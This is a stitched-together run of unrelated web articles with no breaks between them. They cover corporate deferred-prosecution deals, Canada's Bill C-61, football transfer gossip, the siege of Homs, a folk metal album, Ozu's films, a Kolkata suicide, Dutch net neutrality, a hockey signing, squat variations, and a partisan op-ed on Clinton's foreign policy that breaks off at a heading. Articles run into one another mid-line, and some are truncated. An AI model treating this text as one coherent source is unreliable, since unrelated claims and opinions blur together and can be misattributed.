Enlarge this image toggle caption Arnd Wiegmann/Reuters/Landov Arnd Wiegmann/Reuters/Landov
Last week, a top Justice Department official issued a tough warning to banks and other corporations that repeatedly commit crimes. She said U.S. officials could do away with their deferred-prosecution agreements.
Such deals allow companies that have broken the law to escape criminal convictions by promising to clean up their act. A new book looks at the role these agreements play in the corporate world.
It may not always seem like it but in recent decades U.S. officials have charged a lot more companies with crimes such as bribery, insider trading and fraud. And that has raised a question: How do you punish a company that's done wrong?
Criminal convictions can be a death sentence for big companies, as the 2002 guilty verdict of Arthur Andersen showed.
So U.S. officials have increasingly turned to the deferred prosecution agreement. It works like this: Prosecutors hold off on charging a company with a crime. In return, the company promises to reform, and in most cases also promises to cooperate with investigators and pay a big fine.
Brandon Garrett of the University of Virginia law school says prosecutors have long struck deals like these with individuals who commit crimes, such as first-time shoplifters or drug users.
"It's a chance for a low-level criminal to show good conduct," he says. "Now, the idea that really serious corporate offenders would benefit from that kind of treatment was certainly a creative move."
Garrett set out to find out how widespread these agreements have become in corporate cases. It wasn't easy because there's no central registry keeping track of them, and some prosecutors even seal them to spare companies embarrassment.
Garrett discovered there have been more than 300 in the past decade, and a lot of them involve big publicly traded companies. In his book, Too Big to Jail, Garrett writes that the agreements with companies are sometimes vaguely written.
"They just say, 'Do some compliance, fix things. Maybe create an anti-money laundering program that satisfies all the best industry standards,'" Garrett says. "It's often very generic language: 'Do some best practices, please.' "
And he says in most cases no one outside the company is appointed to monitor its compliance to make sure it has lived up to its side of the agreement.
"That's a huge job, and typically prosecutors just depend on the company to update them on, 'Yes, oh yes, we've made good progress over the last year,' " Garrett says.
In recent years a few federal judges have pushed back against these agreements, demanding more of a role in overseeing them. Former federal prosecutor Dan Richman says deferred prosecution agreements in general are often more nuanced than they appear to the public.
For instance, he says, there may be no outside monitor appointed in many cases. But outsiders aren't always well-equipped to police big, complex companies. It may make more sense to rely on a company's internal compliance department to monitor a deal — especially when the wrongdoing was limited to a few rogue employees. Richman says white collar crimes can be hard cases, and prosecutors struggle to figure out how to keep companies accountable.
"Whether that accountability needs to take the form of an actual conviction or something short of conviction is I think a close question once you recognize that companies can't be put in jail and that as an economy we would like many of these companies, if not all of them, to continue to play useful roles in the productive world," he says.
Richman says the goal for prosecutors is to find a way to make meaningful change at a company where crimes have been committed. But U.S. officials acknowledge that companies can resist such efforts and deferred prosecution agreements haven't stopped some companies from becoming repeat offenders.
U.S. officials are now investigating whether UBS and Barclays manipulated currency rates at a time when they were already operating under a deferred prosecution agreement for manipulating interest rates.Canadian DMCA will criminalize emailing your kids' class photos to their grandparents
Michael Geist continues his ongoing series on activities that will be illegal under Canada's new copyright act, the so-called Canadian DMCA (Bill C-61). Today, backing up DVDs and scanning school photos:
Diane, who is four years old, is a huge fan of the popular TV character Dora the Explorer. For her birthday, she received four Dora DVDs. Given Diane’s habit of scratching them, her dad has begun to create backup versions. That day, Diane brings home her kindergarten class photo, which was taken by a local photographer. Josee digitizes the photo and sends a copy to Diane’s grandmother. If Industry Minister Jim Prentice’s Bill C-61 becomes law, all of these copying activities arguably violate the law. Bill C-61 does not allow users to make backup copies of DVDs. The act of backing up the DVD is an infringement. Moreover, in order to make the backup copy, users must typically circumvent the copy-protection on the DVD, also an act of infringement. For decades, Canadian copyright law has vested copyright in commissioned photographs – like school photographs – in the person who commissions the photo. Bill C-61 reverses that practice so that copyright now belongs to the photographer. (repeal of Section 13.2) Assuming the photograph came with an all rights reserved restriction, the act of distributing the digitized photo to Diane’s grandmother now violates the law. (Section 29.21 (1)(e))
I'm pretty sure that every Canadian reading Boing Boing knows about this law and what's wrong with it, and I hope you've all contacted your MPs. But the point of these posts is to help you communicate to your less tech-savvy friends about these issues. Did you email your grandmother a photo of your kids' kindergarten photos? Call her up and tell her that you won't be able to do it again with the grade one pics next year unless she calls up her MP and puts him on notice that he'd better oppose the CDMCA or lose her vote. Did your brother back up his DVDs to his laptop when he went away to university? Call him now and let him know that he'll be a criminal next year unless he calls and writes to his MP and lets her know what he thinks of Bill C-61.
LinkFormer France international Gregory Coupet has said "it would be magnificent" to see Eden Hazard at Paris Saint-Germain, with French media claiming the Chelsea star would be happy to return to Ligue 1.
Eden Hazard has been an important player for Jose Mourinho this season.
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RMC reported on Thursday that PSG have made it clear to Hazard's entourage they are interested in bringing the 23-year-old back to France, while Friday's Le Parisien claimed the Belgium international had told one of his Chelsea teammates just before Christmas: "I'm almost certainly going to join Paris next summer."
PSG's wealthy owners are ready to meet the estimated 50-60 million euro asking price for Hazard, who signed a five-year deal at Chelsea when he completed a 40 million euro move from Lille in summer 2012. They are also reportedly willing to offer him a significant increase on the seven million euros he receives annually in wages from Chelsea.
Though both reports made it clear Hazard is happy in London, they also stated he would be enthusiastic about joining the club he supported as a boy; an aspect of a potential move that Coupet told RMC should not be ignored.
The former Lyon and PSG goalkeeper said: "It would be magnificent. He's a great player who has taken on a whole new dimension since he went to Chelsea. He would also come to PSG out of love for the club, and he would bring in a few more supporters. It would be great.
"The sentimental argument would be the most important because he has everything he wants at Chelsea.
"When you see how PSG play today, dominating possession, Hazard would be in his element. He's able to make others play well, but also has that ability to penetrate back fours. He's capable of taking on players and finishing things off. He'd be an extra weapon for PSG."
Should he swap Stamford Bridge for the Parc des Princes, Hazard would form a formidable-looking attacking trident in the 4-3-3 favoured by Laurent Blanc alongside Edinson Cavani and Zlatan Ibrahimovic. Coupet is confident the Swede -- just as he has done with Cavani -- would have little trouble adapting his game to that of Hazard.
"Any good player can build an understanding with Zlatan," he said. "The difference this year is that Zlatan is fully invested in the project. He would be the first to welcome him with open arms and talk football with him."'Situation Could Not Be More Dire,' Syrians In Besieged City Say
Enlarge this image toggle caption /AP /AP
From inside the Syrian city of Homs, where activists say several hundred people have been killed by government forces in the past week and troops are preparing for what could be a "ground offensive" in coming days, residents say the "situation could not be more dire," NPR's Kelly McEvers reports.
Speaking to Morning Edition co-host Steve Inskeep from Beirut, where she has been monitoring developments inside Syria, Kelly said activists and residents in Homs say the city is now surrounded by army tanks. Shelling continues. Field hospitals are running out of supplies. Activists and fighters who are trying to resist the regime of President Bashar Assad are asking the international community to do something to intervene.
NPR's Kelly McEvers talks with Morning Edition's Steve Inskeep Listen
One way citizen journalists in Homs are trying to get the word out about what's happening is with live video streams on the Web, such as one here. They're also using Twitter and other social media sites to post messages. NPR.org's Ahmed Al Omran is following their reports on his Twitter page.
Also in Syria today, there's word of two explosions at government security compounds in the city of Aleppo, The Associated Press reports. State-controlled news media are saying that 25 people were killed and 175 wounded. They're blaming "terrorists," while "anti-Assad activists accuse the regime of setting off the blasts to discredit the opposition and to overt protests that had been planned in the city on Friday," the AP says.
The BBC adds that:
"Aleppo, a mercantile city, has seen only minor protests and relatively little violence since the uprising against President Assad erupted in March, which human rights groups say has left more than 7,000 civilians dead."
There are also reports and photos of continued fighting in the northern province of Idlib
As we've said previously, because few foreign journalists have been allowed in Syria it's difficult to verify the claims made by either side. But independent organizations, such as the U.N., report that more than 5,000 people have been killed in the past year — most at the hands of government forces.Eight Folk Metal Bands (Including Drudkh and Primordial) Collaborate on an Album
One and All, Together for Home comes out May 23rd 2014
In an effort spearheaded by the Ukrainian band Drudkh, eight different Folk Metal bands have come together to produce a compilation album. I’ve included a list of the eight bands below:
Drudkh (Ukraine)
Ava Inferi (Portugal)
Primordial (Ireland)
KAMPFAR official (Norway)
Winterfylleth (England)
Häive (Finland)
HIMINBJORG OFFICIAL (France)
Mondvolland (Netherlands)
Each band listed above has used music as way to link the listener back to their culture’s respective folk traditions and history. In this album, you’ll find that these bands have created their own unique way to represent traditional folk songs as well as the melodies from their musical heritage.
The Irish band Primordial has recently released a preview of their Dark Horse on The Wind on Metal Hammer (a song that will appear on the One and All, Together For Home album). Dark Horse on The Wind is a folk classic that is an ode to the pain of Ireland’s Civil War. Enjoy!Just as critics and scholars such as Brian Price and Colin Burnett have radically amended our sense of Bresson’s career (even going so far as to ascribe radical leftist sympathies to a hitherto Jansenist), so too the venerated Ozu, whose international fame has long rested on a half dozen of his (mostly late) films: muted, minimalist domestic dramas esteemed for their “eternal verities” about family, death, transience, tradition, for their poignancy, Zen serenity and quiet sense of resignation (subsumed in the concept of mono no aware or “sensitivity to things”), and for their delicacy, restraint, and formal rigour.
It would be pointless to deny these qualities in Ozu’s late work: atmospherically, with their limpid, summery calm; formally, with their low-slung, symmetrical and stationary compositions, cut straight and punctuated by gorgeously extraneous “pillow shots” or disorienting ellipses; and emotionally, with their roiling undercurrents of disappointment and smiling despair. But their decorous sense of dissolution has too often been mistaken for Zen transcendentalism and probity, and in the process much of what comprises the Ozu universe has been ignored or suppressed. Booze, brats, and boxing, gangsters and prostitutes, scatology and fetishism, dragnet girls, femmes fatales and gun-wielding wives stipple Ozu’s prewar filmography, as do such seemingly antithetical genres as crime films and proto-noirs, neorealist narratives and melodramas, vulgar comedies and knockabout student satires (of the subgenre known as “erotic-grotesque-nonsense”).
Unlike the evenly lit, statically shot, and abruptly cut late films, the earlier works feature chiaroscuro, virtuoso camera movement, and fluent transitions; many are so movie-mad that their overt references to Ozu’s beloved directors (Lubitsch, Lloyd, Sternberg) make him occasionally seem like an erstwhile Godard. As the monist impulse of auteurism tends to suppress multiplicity by ignoring or explaining away variation, so Ozu’s oeuvre has often been made coherent by regress to an overarching theme — the Japanese family and its dissolution, which was also a favourite subject of Kon Ichikawa, Mikio Naruse, and many of their colleagues — and a convenient ranking of the “problematic” early films as negligible works or as intimations of incipient mastery (Ozu before he was Ozu, as it were).
However, it would be a grave mistake, as a corrective to this unified view of Ozu, to privilege the little-known early work over the famous late films, or to reject the sense of his aesthetic as austere, formalist, or rigorous. It is easily demonstrable that Ozu’s style became more singular, radical, and exacting as he proceeded: the restriction of camera position and movement, the avoidance of wipes, fades, and dissolves, the breaking of the 180-degree axis and shot/countershot rules of conventional cinema, all attest to the voiding disposition of his late work. But, as David Bordwell points out, too often these undeniable aspects of Ozu’s films have been exaggerated in order to create the impression of a stylistically seamless, wholly unified body of work: “Always the same camera position? No, the setups vary constantly, in response to quasi-geometrical principles. No camera movements? The camera tracks or pans in every Ozu film up to Equinox Flower.... Simple cutting? Far from it; [Ozu] elaborates the editing experiments of his contemporaries in extraordinary ways.”
In response to the clichéd descriptions of Ozu as “the most Japanese of directors” and a Zen elegist and tragedian, such studies as Shigehiko Hasumi’s sly reading of Ozu’s “excess of clarity” and Bordwell’s magnificent film-by-film traversal of the career have, if not overturned, certainly inflected and complicated the traditional narratives around Ozu. No longer subjugated to notions of traditional Japanese aesthetics, the director’s formalism is read in terms of international modernism, the studio system and its “rethinking [of] American découpage” (Bordwell), and of Ozu’s own peculiar, playful way with space, colour, and shapes, while the plotless “purity” of the postwar family dramas has been reconsidered to take into account their strains of satire and melodrama, their often brusque humour, and their immense debt to American cinema (Tokyo Story, it is often noted, was inspired by Leo McCarey’s Make Way for Tomorrow).Partha De, who lived in Kolkata’s infamous House of Horror for six months with the skeletons of his elder sister and two pet dogsbefore he hit the headlines in June 2015, was found dead under ‘mysterious conditions’ in a flat in the city on Tuesday.
Preliminary investigations and circumstantial evidence have led police officers to suspect that Partha, a software engineer, tried to commit suicide but might have died of a heart attack and not due to burn injuries.
“De’s charred body was recovered from the toilet of a flat where he had been living for the past few months in Watgunge area (in west Kolkata). A bottle half filled with petrol and some match sticks were found scattered on the floor. Only an autopsy report can reveal how Dey died,” said Sudip Sarkar, deputy commissioner, port, Kolkata Police. He was 46.
Even neighbours did not hear any screams from De’s flat in the morning.
Partha’s 77-year old father Arobindo De had also committed suicide in June 10, 2015 by setting himself ablaze in his bathroom in his Robinson Street house. The father’s suicide had brought the police to the house and unveiled the grotesque story that left the nation shocked.
Six months before that, his sister Debjani had starved herself to death, apparently after going into depression following the death of their two Labradors in August. Debjani was a spinster.
The skeletons of the dogs were also found in the house. Arobindo’s charred body was recovered from a bathtub in the bathroom. The house came to be known as Kolkata’s House of Horror.
Since then, Partha De spent a few months at Pavlov Mental Hospital, and thereafter, at a home run by the Missionaries of Charity. Later, he shifted to an undisclosed location.
“On Tuesday morning, after failing to elicit any response from Partha De, the caretaker of the flat entered the 11th floor apartment using a duplicate key. Inside, he found De’s half charred body lying on the toilet floor. He informed the police around noon,” said a police officer.
Local police and officials of the detective department’s homicide squad rushed to the spot.
Neighbours said that Dey had been living in the flat for the past 8-10 months but never interacted with anyone.
“I stumbled upon him many a time in the corridor and in the elevator. But he never smiled or interacted. He lived all by himself and sometimes used to go for a stroll in the evening,” said Joydip Sen, a neighbour.
His mother had died many years ago.
First Published: Feb 21, 2017 16:59 ISTLast week, the Dutch parliament passed a wide-ranging network neutrality bill that attempts to bring the country's largest wireless operator to heel. If it clears the Senate as expected, the Dutch proposal will become the first such law adopted in Europe.
Incumbent telco KPN, now privatized, announced earlier this year a new plan to rebuild slumping revenues from voice calls and text messaging: charge more to users of Internet VoIP services and instant messaging apps. To make the scheme work, KPN would use deep packet inspection to monitor and classify all subscriber Internet traffic, singling out the protocols or apps it chose and billing more for those bits.
The audacious scheme went too far even for Europe, which has long prided itself on using ISP competition—rather than regulation—as the main way to prevent abuse. Maxime Verhagen, the Minister of Economic Affairs, Agriculture, and Innovation, quickly announced in parliament a plan to ban the practice, and parliament approved the ban last week.
According to a translation of the text from Dutch advocacy group Bits of Freedom, the bill requires ISPs not to:
Hinder or slow down applications and services on the internet, unless and to the extent that the measure in question with which applications or services are being hindered or slowed down is necessary: a. to minimize the effects of congestion, whereby equal types of traffic should be treated equally; b. to preserve the integrity and security of the network and service of the provider in question or the terminal of the enduser; c. to restrict the transmission to an enduser of unsolicited communication as refered to in Article 11.7, first paragraph, provided that the enduser has given its prior consent; d. to give effect to a legislative provision or court order.
The bill also demands that ISPs not "make the price of the rates for Internet access services dependent on the services and applications which are offered or used via these services."
"This is because of the needed investments in the network and the decline in voice and SMS traffic," said Verhagen's office when the bill was introduced. "Minister Verhagen isn’t against paying for the quantity or the speed of the data traffic. The Cabinet, however, is of the opinion that a surcharge on specific services like Skype or WhatsApp goes too far."
The bill still requires some technical changes—the Dutch Labour party managed to "accidentally" vote on an amendment that allowed users to request blocking of site on their own connections for ideological or religious reasons. Members apparently believe that the amendment could provide some kind of loophole for ISPs and they wish to reverse the vote. The amendment seems to have been drafted so that ISPs can filter pornography and other objectionable content at subscriber request; without the amendment, it would appear that only local, end-user filtering programs would be allowed.
Bits of Freedom hopes that the bill will enter into force by the end of the year.
Listing image by Photo by Ma MamiaPending restricted free agent Joe Colborne was among nine players who didn’t receive qualifying offers from the Calgary Flames on Monday.
The 26-year-old scored 19 goals and 25 assists in 73 games last season for Calgary and carried a minus-nine rating.
Colborne was coming off a two-year contract with the Flames that paid him $1.275 million per season.
The Calgary |
Reset yourself at the completion of each rep – maybe change your underpants if you have to – and repeat.
Bulgarian Split Squat Variations
I'd be remiss if I wrote an article on squatting and didn't include at least two or three single-leg variations.
More than any other exercise we use at Cressey Performance, Bulgarian split squats definitely get the most grief, and rightfully so. They suck! (In a good way, of course.)
As is the case most of the time, it's the exercises we hate the most that generally yield the most benefit.
I won't enter the on-going single-leg debate, but single leg squat variations should be considered a staple in any well-rounded strength and conditioning program. Not only do they have plenty of functional carryover to athletics and "real world" events, they're also a fantastic tool to build strength and hypertrophy while contributing to knee, hip, and lower back health, just to name a few.
Rather than bore you with the humdrum variety, here are some badass alternatives.
Offset Bulgarian Split Squats
I'm a huge advocate of offset loading. Whether referring to carries, presses, or single-leg variations, offset loading is an awesome way to challenge the body in ways it's normally not accustomed to.
Hold a dumbbell on the same side as the trailing leg. So if your right leg is elevated behind you on a bench, you'll hold a dumbbell in your right hand.
With regards to (offset) split squats, two main advantages come to fruition. One, the "core" must fire on the contralateral side to prevent the body from falling over, and two, the standing side glute max/glute medius receives a significant external rotation "cue," something that's vastly important given most people are walking around with woefully weak glutes in the first place.
If you want to progress this variation even further, increase the range of motion by adding in an elevated step or box underneath the front foot.
Anterior Loaded Bulgarian Split Squats
Similar to front squats, anterior (front) loaded split squats provide a significant stimulus to the core to prevent flexion. Moreover, because the bar is now further away from the body's center of gravity, the exercise automatically becomes more challenging.
Cross-body Bulgarian Split Squats
And finally, for those looking for a real challenge, one variation that I like to use (although rarely) are asymmetrical loaded Bulgarian split squats, where one (heavier) dumbbell is held in the suitcase position on one side of the body and one (lighter) dumbbell is held overhead on the opposite side. The added benefit, among other things, is learning to "pack" the shoulder back, which will help build scapular stability.
Summing Up
While not an exhaustive list by any stretch, I hope I was able to shed some light on some of the squat variations we use everyday at Cressey Performance given different needs, goals, and injury history. Moreover, I hope you've learned a few tricks to help improve your own squatting performance.
Squats may not be deadlifts, but a well-performed squat will deliver results few exercises can match. Use the tips found in this article and get under the bar.Former Secretary of State Clinton grudgingly admits her Iraq War vote was a “mistake,” but it was not a one-off misjudgment. Clinton has consistently stood for a war-like U.S. foreign policy that ignores international law and relies on brinkmanship and military force, writes Nicolas J S Davies.
By Nicolas J S Davies
A poll taken in Iowa before the presidential caucus found that 70 percent of Democrats surveyed trusted Hillary Clinton on foreign policy more than Bernie Sanders. But her record as Secretary of State was very different from that of her successor, John Kerry, who has overseen groundbreaking diplomatic breakthroughs with Iran, Cuba and, in a more limited context, even with Russia and Syria.
In fact, Clinton’s use of the term “diplomacy” in talking about her own record is idiosyncratic in that it refers almost entirely to assembling “coalitions” to support U.S. threats, wars and sanctions against other countries, rather than to peacefully resolving international disputes without the threat or use of force, as normally understood by the word “diplomacy” and as required by the UN Charter.
There is another term for what Clinton means when she says “diplomacy,” and that is “brinksmanship,” which means threatening war to back up demands on other governments. In the real world, brinksmanship frequently leads to war when neither side will back down, at which point its only value or purpose is to provide a political narrative to justify aggression.
The two main “diplomatic” achievements Clinton gives herself credit for are: assembling the coalition of NATO and the Arab monarchies that bombed Libya into endless, intractable chaos; and imposing painful sanctions on the people of Iran over what U.S. intelligence agencies concluded by 2007 was a peaceful civilian nuclear program.
Clinton’s claim that her brinksmanship “brought Iran to the table” over its “nuclear weapons program” is particularly deceptive. It was in fact Secretary Clinton and President Obama who refused to take “Yes” for an answer in 2010, after Iran agreed to what was originally a U.S. proposal relayed by Turkey and Brazil. Clinton and Obama chose instead to keep ratcheting up sanctions and U.S. and Israeli threats. This was a textbook case of dangerous brinksmanship that was finally resolved by real diplomacy (and real diplomats like Kerry, Russian Foreign Minister Sergei Lavrov and Iranian Foreign Minister Javad Zarif) before it led to war.
That Clinton can peddle such deceptive rhetoric to national prime-time television audiences and yet still be considered trustworthy on foreign policy by many Americans is a sad indictment of the U.S. corporate media’s coverage of foreign policy, including a willful failure to distinguish between diplomacy and brinksmanship.
But Michael Crowley, now the senior foreign affairs correspondent for Politico, formerly with Time and the New Republic, has analyzed Clinton’s foreign policy record over the course of her career, and his research has shed light on her Iraq War vote, her personal influences and her underlying views of U.S. foreign policy, all of which deserve serious scrutiny from American voters.
The results of Crowley’s research reveal that Clinton believes firmly in the post-Cold War ambition to establish the U.S. threat or use of force as the ultimate arbiter of international affairs. She does not believe that the U.S. should be constrained by the UN Charter or other rules of international law from threatening or attacking other countries when it can make persuasive political arguments for doing so.
This places Clinton squarely in the “humanitarian interventionist” camp with her close friend and confidante Madeleine Albright, but also in underlying if unspoken agreement with the “neocons” who brought us the Iraq War and the self-fulfilling and ever-expanding “war on terror.”
Neoconservatism and humanitarian interventionism emerged in the 1990s as parallel ways to exploit the post-Cold War “power dividend,” each with its own approach to overcoming legal, diplomatic and political obstacles to the unbridled expansion of U.S. military power. In general, Democratic power brokers favored the humanitarian interventionist approach, while Republicans embraced neoconservatism, but their underlying goals were the same: to politically legitimize U.S. hegemony in the post-Cold War era.
The most self-serving ideologues, like Robert Kagan and his wife Victoria Nuland, soon mastered the nuances of both ideologies and have moved smoothly between administrations of both parties. Victoria Nuland, Dick Cheney’s deputy foreign policy adviser, became Secretary Clinton’s spokesperson and went on to plan the 2014 coup in Ukraine. Robert Kagan, who co-founded the neocon Project for the New American Century with William Kristol in 1997, was appointed by Clinton to the State Department’s Foreign Affairs Policy Board in 2011.
Kagan wrote of Clinton in 2014, “I feel comfortable with her on foreign policy. If she pursues a policy which we think she will pursue, it’s something that might have been called neocon, but clearly her supporters are not going to call it that; they are going to call it something else.”
In the Clinton White House
In her husband’s White House in the 1990s, Hillary Clinton was not an outsider to the foreign policy debates that laid the groundwork for these new ideologies of U.S. power, which have since unleashed such bloody and intractable conflicts across the world.
In 1993, at a meeting between Clinton’s transition team and Bush’s National Security Council, Madeleine Albright challenged then Chairman of the Joint Chiefs of Staff Colin Powell on his “Powell Doctrine” of limited war. Albright asked him, “What’s the point of having this superb military you’re always talking about if we can’t use it?”
Hillary Clinton found common ground with Albright, and has likewise derided the Powell doctrine for limiting U.S. military action to “splendid little wars” like the invasions of Grenada, Panama and Kuwait, apparently forgetting that these are the only wars the U.S. has actually won since 1945.
Hillary Clinton reportedly “insist (ed) ” on Albright’s nomination as Secretary of State in December 1996, and they met regularly at the State Department during Bill Clinton’s second term for in-depth foreign policy discussions aided by White House and State Department staff. Albright called their relationship “an unprecedented partnership.”
With Defense Secretary William Cohen, Albright oversaw the crystallization of America’s aggressive post-Cold War foreign policy in the late 1990s. As UN Ambassador, she maintained and justified sanctions on Iraq, even as they killed hundreds of thousands of children. As Secretary of State, she led the push for the illegal U.S. assault on Yugoslavia in 1999, which set the fateful precedent for further U.S. violations of the U.N. Charter in Afghanistan, Iraq, Pakistan, Somalia, Yemen, Libya and Syria.
James Rubin, Albright’s State Department spokesman, remembers strained phone calls between Albright and U.K. Foreign Secretary Robin Cook during the planning for the bombing of Yugoslavia. Cook told Albright the U.K. government was having problems “with its lawyers” because attacking Yugoslavia without authorization by the U.N. Security Council would violate the UN Charter. Albright told him the U.K. should “get new lawyers.”
Like Secretary Albright, Hillary Clinton strongly supported NATO’s illegal aggression against Yugoslavia. In fact, she later told Talk magazine that she called her husband from Africa to plead with him to order the use of force. “I urged him to bomb,” she said, “You cannot let this go on at the end of a century that has seen the major holocaust of our time. What do we have NATO for if not to defend our way of life?”
After the U.S.-U.K. bombing and invasion, the NATO protectorate of Kosovo quickly descended into chaos and organized crime. Hashim Thaci, the gangster who the U.S. installed as its first prime minister, now faces indictment for the very war crimes that U.S. bombing enabled and supported in 1999, including credible allegations that he organized the extrajudicial execution of Serbs to harvest and sell their internal organs.
On Clinton’s holocaust reference, the U.S. and U.K. did carpet-bomb Germany at the height of the Nazi Holocaust, but bombing could not stop the genocide of European Jews any more than it can have a “humanitarian” impact today. The Western allies’ decision to rely mainly on bombing throughout 1942 and 1943 while the Red Army’s “boots on the ground” and the civilians in the concentration camps died in their millions cast a long shadow on today’s policy debates over Syria, Iraq and Libya.
War is always an atrocity and a crime, but relying on bombing and drones to avoid putting “boots on the ground” is uniquely dangerous because it gives politicians the illusion that they can wage war without political risk. In the longer term, from London in the Blitz to Vietnam, Cambodia and Laos to Islamic State and drone victims today, bombing has always been the surest way to provoke righteous anger, stiffen resistance and reap a whirlwind of blowback.
The 140,000 bombs and missiles the U.S. and its allies have rained down on at least seven countries since 2001 are the poisonous seeds of a harvest of intractable conflict that is still gathering strength after 14 years of war.
The Clinton administration formalized its illegal doctrine of unilateral military force in its 1997 Quadrennial Defense Review, declaring, “When the interests at stake are vital we should do whatever it takes to defend them, including, when necessary, the unilateral use of military power. U.S. vital national interests include preventing the emergence of a hostile regional coalition (and) ensuring uninhibited access to key markets, energy supplies and strategic resources.”
Arguments based on “vital interests” are dangerous precisely because they are politically persuasive to the citizens of any country. But this is precisely the justification for war that the U.N. Charter was designed to prohibit, as the U.K.’s senior legal adviser, Sir Gerald Fitzmaurice, explained to his government during the Suez crisis in 1956. He wrote, “The plea of vital interest, which has been one of the main justifications for wars in the past, is indeed the very one which the U.N. Charter was intended to exclude.”
Senator Clinton’s Iraq War Vote
Sixteen years after the bombing of Yugoslavia, bombing to “prevent holocausts” and wars to “defend” ill-defined and virtually unlimited U.S. interests have succeeded only in launching a new holocaust that has killed at least 1.6 million people and plunged a dozen countries into intractable chaos.
As Republican Senator Lincoln Chafee wrote of his colleagues who voted to authorize war on Iraq in 2002, “Helping a rogue President start an unnecessary war should be a career-ending lapse of judgment…”
As the results of that decision keep spinning farther out of control, it seems increasingly remarkable that U.S. officials who authorized a war based on lies with millions of lives in the balance still have careers in public policy. If it costs Clinton another presidential nomination, that is a small price to pay when weighed against the holocaust she helped to unleash on tens of millions of people.
But what if her vote for an illegal and devastating war was not a momentary “lapse of judgment”, but was in fact consistent with her views then and her views now?
As the Bush administration lobbied senators to support the Iraq AUMF in 2002, Senator Clinton had several private chats with Deputy National Security Advisor Stephen Hadley, an old friend from Yale Law School. An unnamed Bush official, possibly Hadley, told Michael Crowley, “I was kind of pleasantly surprised by her attitude.”
But Albright’s former assistant James Rubin was not surprised by Clinton’s vote on Iraq. He found it consistent with the position of the Clinton administration and Albright’s State Department that U.S. “diplomacy” must be backed up by the threat of military force.
“I think there is a connection to her vote,” Rubin told Michael Crowley, “which is recognizing that the right combination of force and diplomacy (sic) can achieve America’s objectives. Sometimes, to get things done – like getting inspectors back into Iraq – you do have to be prepared to threaten force.”
But this evades the critical question of U.S. obligations under the U.N. Charter, which prohibits the threat and use of force. Senator Levin introduced an amendment to the Iraq AUMF bill that would have only authorized the use of force if it was approved by the U.N. Security Council. Senator Clinton voted against that amendment, making it clear that she supported the threat and use of force against Iraq whether it was legal or not.
Clinton has defended her vote on the basis of providing a credible threat of force to back up the call for inspections, in keeping with her long-standing preference for threats and brinksmanship over diplomacy. But the problem with threats of force is that they often lead to the use of force, as we have now seen repeatedly since the U.S. has embraced this aggressive and illegal approach to international affairs.
This is exactly why the U.N. Charter prohibits the threat as well as the use of force. The absolute priority of world leaders in 1945 was peace, and so the U.N. Charter prohibited both the threat and use of force, based on bitter experience of how the one so easily leads to the other.
The fundamental shift in U.S. foreign policy since the 1980s has been to renounce peace as an overriding priority and to politically legitimize U.S. war-making. The U.S. has therefore, without public debate, abandoned FDR’s post-WWII “permanent structure of peace” based on the U.N. Charter. The U.S. also withdrew from the compulsory jurisdiction of the International Court of Justice, after it found the U.S. guilty of aggression against Nicaragua in 1986, and it likewise rejects the jurisdiction of the new International Criminal Court.
U.S. government lawyers now pass off political arguments as legal cover for aggression, torture, killing civilians and other war crimes, secure in the knowledge that they will never be forced to defend their legally indefensible opinions in impartial courts.
When President George W. Bush unveiled his illegal “doctrine of preemption” in 2002, Sen. Edward Kennedy called it, “a call for Twenty-first Century American imperialism that no other nation can or should accept.”
But the same must be said of this entire decades-long effort by the Clintons, Bushes, Albright, Cheney and others to liberate the U.S. military industrial complex from the restraints placed upon it by the rule of international law.
Secretary of State – Iraq and Afghanistan
Hillary Clinton’s actions as Secretary of State were consistent with her role working with her husband and Madeleine Albright in the 1990s, and in the Senate with the Bush administration, to fundamentally corrupt U.S. foreign policy.
Robert Gates’s book, Duty : Memoirs of a Secretary at War, has provided revealing insights into Clinton’s personal contributions to White House foreign policy debates on the vital issues of Obama’s first term, in which she was always the most hawkish of Obama’s senior advisers, more hawkish than his Republican Secretary of Defense.
At Clinton’s first “town hall” with foreign service officers at the State Department, Steve Kashkett of the American Foreign Service Association asked Clinton how soon the State Department’s deployment of 1,200 staff to the massive U.S. occupation headquarters in Baghdad would be reduced “to that of a normal diplomatic mission” to ease critical understaffing at other U.S. embassies all over the world.
Clinton instead launched a “civilian surge,” doubling the already overweight State Department deployment in Baghdad to 2,400. When the Iraqi government refused to allow 3,000 U.S. troops to remain in Iraq to protect the embassy staff – and Clinton had wanted even more than that – she hired 7,000 heavily-armed mercenaries to do the job instead.
As Clinton doubled down on the failed U.S. effort to control a puppet government in Iraq whose courageous people’s resistance had already made U.S. military occupation unsustainable, she was also keen to put the lives of more U.S. troops on the line in the even longer-running quagmire in Afghanistan.
When President Obama took office, there were 34,400 U.S. troops in Afghanistan, but only 645 had been killed in seven years of combat. A Pew poll found that only 18 percent of Afghans surveyed wanted more U.S. troops in their country.
Secretary Clinton backed Obama’s first decision to commit an additional 30,000 troops to the war. Then, in mid-2009, General Stanley McChrystal submitted a request for a second increase of 40,000 troops. He also submitted a classified assessment that a genuine campaign to defeat the Taliban and its allies would require 500,000 U.S. troops for five years, acknowledging that neither 65,000 nor 105,000 troops could possibly achieve that.
Clinton supported McChrystal’s request and was eager to match it with a State Department “civilian surge” like the one in Iraq. Among Obama’s other advisers, Vice President Joe Biden opposed any further escalation, while Secretary Gates recommended a smaller increase of 30,000 troops, which was what Obama ultimately approved.
When Obama and his aides debated the withdrawal of U.S. troops from Afghanistan, Clinton was again the most hawkish, arguing for no reduction in troop strength until 2013. In a typically arbitrary political compromise, Obama split the difference between Clinton and the doves and ordered the first withdrawals to begin in September 2012.
By the time the U.S. “combat mission” ended in 2014, 2,356 U.S. troops had met their deaths in the “graveyard of empires.” In 2016, the Taliban and its allies control more of Afghanistan than at any time since 2001, as they fight to expel the 10,000 U.S. troops still deployed there.
A complete withdrawal of foreign troops has always been the Taliban’s first precondition for opening serious peace talks with the government, so the 2009-10 escalations, which Clinton backed to the hilt, served only to kill 1,711 more Americans and tens of thousands of Afghans, prolonging the war and undermining diplomacy in the futile hope of saving a corrupt regime of U.S.-backed warlords and drug-lords.
President Obama’s latest plan, to keep at least 5,500 U.S. troops in Afghanistan indefinitely, ensures that the war will continue into the next administration, even as Islamic State begins to move into another failed state already devastated by more than 6 0,000 U.S. bombs and missiles.
Secretary of State – Libya and Syria
